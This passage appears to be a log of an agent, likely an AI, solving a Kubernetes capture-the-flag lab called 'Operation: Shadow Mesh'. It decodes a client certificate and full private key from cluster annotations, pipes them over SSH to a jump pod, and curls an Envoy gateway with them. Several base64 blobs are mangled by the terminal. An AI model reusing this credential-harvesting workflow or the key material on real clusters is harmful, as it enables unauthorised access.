QUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/client.key
# Get the gateway IP and curl with client cert
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '# Decode the cert and key from the CTP annotations
echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/client.key
# Get the gateway IP and curl with client cert
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# # Decode the cert and key from the CTP annotationss
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF00UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR33QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y44ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RhheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9SSbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExxTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZsscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HHMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0ttLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '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' | base64 --d > /tmp/client.key
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [K
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# # Get the gateway IP and curl with client cert
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexport GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "Gateway IP: $GWIP"
[?2004lGateway IP: 10.111.253.191
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --cert /tmp/client.crt --key /tmp/client..key https://$GWIP 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
command terminated with exit code 56
Connection to 35.179.133.134 closed.The long base64 strings got mangled by the TTY. Let me write the cert and key to files locally first, then transfer them.
# Decode the cert and key locally echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/client.key # Verify head -1 /tmp/client.crt && head -1 /tmp/client.key
# Use base64 to safely transfer via SSH (avoid TTY mangling)
CERT_B64=$(base64 -w0 /tmp/client.crt)
KEY_B64=$(base64 -w0 /tmp/client.key)
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << SSHEOF 2>&1 | sed 's/\r//g'
echo '$CERT_B64' | base64 -d > /tmp/c.crt
echo '$KEY_B64' | base64 -d > /tmp/c.key
head -1 /tmp/c.crt
head -1 /tmp/c.key
export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')
echo "GW: \$GWIP"
curl -sk --cert /tmp/c.crt --key /tmp/c.key https://\$GWIP 2>&1
exit
SSHEOF_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmV